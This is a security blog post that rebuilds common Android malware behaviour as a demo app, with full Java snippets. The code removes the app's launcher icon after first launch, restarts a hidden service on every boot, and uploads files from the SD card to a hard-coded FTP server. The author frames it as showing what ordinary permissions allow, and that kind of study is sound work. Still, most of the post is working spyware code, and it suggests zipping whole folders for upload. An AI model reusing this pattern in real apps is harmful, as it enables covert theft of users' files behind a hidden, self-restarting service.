I’ve been brushing up on Android application programming lately in my free time, and I wanted to see how easy it was to reproduce some of the techniques I’ve seen in previous Android malware.
In just a few lines of code, an application can hide itself and harvest data from the device’s external SD card. There is not really a vulnerability here to be discussed, but I believe it is important to understand what simple permissions are capable of.
Previously (< 3.1 ), Android allowed a Service to be started without a main activity. A service is simply something that runs in the background and has no user interface and requires no user interaction; it is invisible to the user. A main activity is what is started when the user selects your application from the launcher. So before Android 3.1, developers were allowed to create and start a service upon installation, with a trigger (i.e. on phone boot, receive SMS, etc. ) without any user activity.
Thankfully, this was fixed in 3.1. Users are now required to launch a main activity at least one time from the launcher before any service can run (and then the service can be opened via events). The code below demonstrates the following sequence of events:
Upon install:
- Main Activity is opened for the first time
- Main Activity removes itself from the launcher (user can no longer find it as an application there)
- Scraping Service is started that reads from the SD card and transfers a file from there to an FTP server
Upon phone boot (after installation):
- Broadcast receiver listens for the BOOT_COMPLETED event
- Broadcast receiver starts the scraping service
The below code snippet is in the Main Activity’s onCreate(). When the activity is created, it automatically destroys itself from the launcher, but keeps the service running in the background. This is a technique that I’ve seen used in the few Android malwares that I have examined.
//This snippet destroys the Icon from the launcher, this is done when the activity is opened ///src http://www.helloandroid.com/tutorials/removing-app-icon-launcher ComponentName componentToDisable = new ComponentName("com.example.android_fourgoats_scraper", "com.example.android_sd_scraper.MainActivity"); getPackageManager().setComponentEnabledSetting( componentToDisable, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
We then want to go ahead and start the service for the first time:
//Next we want to start the service for the first time Intent i = new Intent(this, scrape_service.class); i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); this.startService(i);
The service component of the application is a bit more interesting. It establishes a connection to a FTP server (in this example, it is local…) and sends a file from the SD card to it. In this example, I’m only searching for one file that I know is on the phone. With just a little more effort, one could zip up an archive of the entire Downloads folder, and FTP that. I kept it simple to show the concept:
public void onCreate() { Toast.makeText(this, "Scraping your phone...", Toast.LENGTH_LONG).show(); Log.d(TAG, "onCreate"); //Must start network activity in a new thread new Thread() { @Override public void run() { FTPClient client = new FTPClient(); FileInputStream fis = null; //Try to connect to the FTP server try { client.connect("1.1.1.106"); //hard coded address to the FTP...for examples sake client.login("admin", ""); //credentials for FTP //Try finding the file try{ //File stream with the mlogo2x_3.png file FileInputStream fileToGet = new FileInputStream(Environment.getExternalStorageDirectory().getAbsolutePath()+"/download/mlogo2x_3.png"); //For the FTP library, we will need to specify the file type as BINARY_FILE_TYPE client.setFileType(FTPClient.BINARY_FILE_TYPE); //Testing statements for LogCat Log.d(TAG, "FILE FOUND: "+ Environment.getExternalStorageDirectory().getAbsolutePath()+"/download/mlogo2x_3.png"); //Store the file on the FTP server client.storeFile("mlogo2x_3.png", fileToGet); } catch(FileNotFoundException e){ Log.d(TAG,"File not found"); } //Logout of the FTP server when done client.logout(); } catch (IOException e) { e.printStackTrace(); } } } .start(); }
The BroadCastReceiver component listens for the phone too boot up, and starts the scraping service, and is a pretty small class:
//This class tells the app what to do when the phone is booted up public class BootUpReceiver extends BroadcastReceiver{ @Override public void onReceive(final Context context, Intent intent) { Log.i("Autostart", "started"); Toast.makeText(context, "Boot receiver...", Toast.LENGTH_LONG).show(); //Below starts the scrape_service service Intent i = new Intent(context, scrape_service.class); i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startService(i); } }
Now take a look at the behavior:
Before installing, the sdcard/download/ directory looks like this, with mlogo2x_3.png inside:
Upon installation, we are prompted with the requested permissions…however, for some reason the READ_EXTERNAL_STORAGE that I requested and use doesn’t show up here.
As expected, the application icon is now in the launcher:
Opening the application, we get the default layout, and the Toast: “Scraping your phone…” that is called only when the service starts:
Meanwhile…the MainActivity icon has disappeared from our launcher:
And my FTP server now has the file:
More realistic malware might include some legitimate features that require similar privileges, to hide data theft being done on the side. For example, a similar application might store its data on the SD card, and therefore requires external access, but also uses this permission to scrape out all files on the SD card. Because the .APK files are encrypted and cannot be examined unless released, a victim might never know what is being done with the permissions given to the application.
The entire demo application code can be found here: https://github.com/ehrenb/Android_SD_Scraper